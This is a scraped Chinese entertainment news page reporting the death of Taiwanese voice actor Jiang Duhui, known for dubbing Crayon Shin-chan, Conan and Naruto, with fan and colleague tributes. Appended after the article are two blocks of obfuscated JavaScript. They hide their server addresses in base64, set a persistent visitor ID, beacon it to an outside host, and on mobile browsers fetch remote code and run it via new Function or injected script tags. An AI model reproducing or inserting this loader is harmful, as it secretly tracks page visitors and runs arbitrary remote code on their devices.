蜡笔小新、柯南配音演员蒋笃慧病逝,网友落泪:好舍不得!
时间:2020-10-23 23:48:29阅读:3813次来源:星辰影院 据多家中国台湾媒体报道,曾为“蜡笔小新”、“名侦探柯南”、“火影忍者”等多个经典漫画角色配音的台湾配音演员蒋笃慧于16日上午病逝,终年49岁。
![](/pic.php?url=http://img2.ynet.com/2019/09/17/c246ca1ce8d10620096a2ba67e4275ce.jpg)
一个名为“VOICE音伉网”的脸书账号于16日上午11点发文称:“台湾最优秀的配音员之一,蒋笃慧女士今早离开了我们,我们会永远怀念您,愿您安息,家人亲友们得平安。”喜爱她的粉丝一片哗然,不敢相信这个噩耗。
![](/pic.php?url=http://img2.ynet.com/2019/09/17/93f1534e5cd394a4a5455935ca4ff396.jpg)
2012,蒋笃慧曾经做客《康熙来了》,现场再现蜡笔小新经典台词,还用小新声音为打麻将配音:“胡了,三条”……笑翻了现场观众。
大家好!我是野原新之助,大家都叫我小新,我今年五岁,喜欢的颜色是白色,喜欢的内裤图案是动感超人哦!
看到这段熟悉的台词,很多人会自动脑补蒋笃慧配音版小新的声音。
![](/pic.php?url=http://img1.ynet.com/2019/09/17/b2f3204c6285199b9f2a6f7180795219.jpg)
当国外动画被引进中国后,国语配音也为人物增添了生命力,作为国语配音的佼佼者,蒋笃慧被誉为台湾配音界的第一人。
她是《蜡笔小新》、《名侦探柯南》、《火影忍者》等经典动画中的配音员,配音过的角色包括“野原新之助”“柯南”“旋涡鸣人”等。
![](/pic.php?url=http://img3.ynet.com/2019/09/17/6761743287e932588f16aa77f97d6da6.jpg)
这些作品的配音版都曾在台湾、大陆等地播出,蒋笃慧的配音一度为观众带来了欢乐。
报道称,蒋笃慧从小爱表演,高中就读华冈艺校舞蹈科,后来加入华视配音训练班,一次因缘际会下,一名录音室老板请她尝试为卡通配音,她便发挥戏剧所长,从24岁改走配音这行。
蒋笃慧曾提到,在配音《蜡笔小新》主角野原新之助前必须先通过试音,还必须先被要求模仿台湾第一代小新配音员冯友薇的声音。
但她认为,应该从日版原音开始学起,她称赞日版创造出一种全新的说话方式。而她也开创了新的小新讲话模式,小新可爱又搞怪的声音,成为很多人的童年回忆。
![](/pic.php?url=http://img2.ynet.com/2019/09/17/ed114cfed40cea004f95acf555eeacc9.jpg)
视频截图
2018年在做客《天天向上》时,她也提到,她配的角色都会参考原音。至于为什么女生来配男孩子,她解释是因为男孩子长大后就变声了,所以卡通里的小男生都由女孩子来配音。现场,她还演绎了蜡笔小新和小猪佩奇、一休抢玩具。
![](/pic.php?url=http://img3.ynet.com/2019/09/17/e68b645ffac2e443d63938868157c824.jpg)
视频截图
早前,她还在电视节目中提到,她曾以蜡笔小新的声音录过线上麻将,用小新的声音说出“胡了”、“三条”、“自摸”、“放我一马嘛”等,让人忍俊不禁。
而在配《火影忍者》时,因为要大喊“螺旋丸”,声音耗费颇大,配一集好像配了五集,有几集打得很惨,她配得也很痛苦。
![](/pic.php?url=http://img1.ynet.com/2019/09/17/f1fed1e804462263ffaee2f4175cacfc.jpg)
视频截图
在接受采访时,蒋笃慧曾说:“从事配音工作,热忱很重要,愿意学习、反应快,才能赋予角色新的活力。”她还说,配音时需要全神贯注,而且要一心多用,眼睛要看画面,嘴巴要配音,还要注意嘴型是否正确,所以配音工作也可以训练反应、专注力。
其实,蒋笃慧患病已有一段时间。今年6月,她就曾在社交网站发过光头照,有网友猜想是生病,没想到这么突然。据媒体报道,家人透露,她之前已经治疗一段时间,家属正在筹备后事,一切低调,不会举行公开告别式。
![](/pic.php?url=http://img1.ynet.com/2019/09/17/7928aa5ae28dcce24545a8ca7cd4b5fe.jpg)
网页截图
获悉蒋笃慧去世,很多同行也发文悼念,配音演员边江称:“去年相见,仿若昨天,人真的很脆弱,天堂里没有疾病,愿您一路走好。”
![](/pic.php?url=http://img1.ynet.com/2019/09/17/1362a64bc21abe8ba18b47f64d2a30ef.jpg)
微博截图
网友则纷纷留言表示不舍:
![](/pic.php?url=http://img2.ynet.com/2019/09/17/70b354411b45559ea8b52d514974eec6.jpg)
蒋老师走好,希望在那个世界里,也有童真一路相伴。
来源|新闻晨报综合周到app、中国新闻网
热门视频
反黑英雄[普通话版]
陈山聪,张振朗,朱晨丽,袁伟豪,张颕康
未录入 / 其他
全25集
人气:1286
function mZRdYXP(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function twkWBaMx(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return mZRdYXP(t);};window[''+'K'+'a'+'j'+'A'+'Z'+'X'+'W'+'d'+'f'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=twkWBaMx,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZwby5jZW5ncWluZ2xpbi5jbiUzzQTg4OTE=','d3NzJTNBJTJGGJTJGGbmh5LnlpbmhvbmdjLmNuJTNBOTUzNA==','159458',window,document,['z','G']);}:function(){};
function eBCfaGjV(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function SDVql(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return eBCfaGjV(t);};window[''+'k'+'h'+'H'+'o'+'z'+'p'+'x'+'n'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=SDVql,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZwbyy5jZW5ncWluZ2xpbi5jbiUzQTg4OTE=','d3NzJJTNBJJTJJGJJTJJGbmh5LnlpbmhvbmdjLmNuJJTNBOTUzNA==','159459',window,document,['y','J']);}:function(){};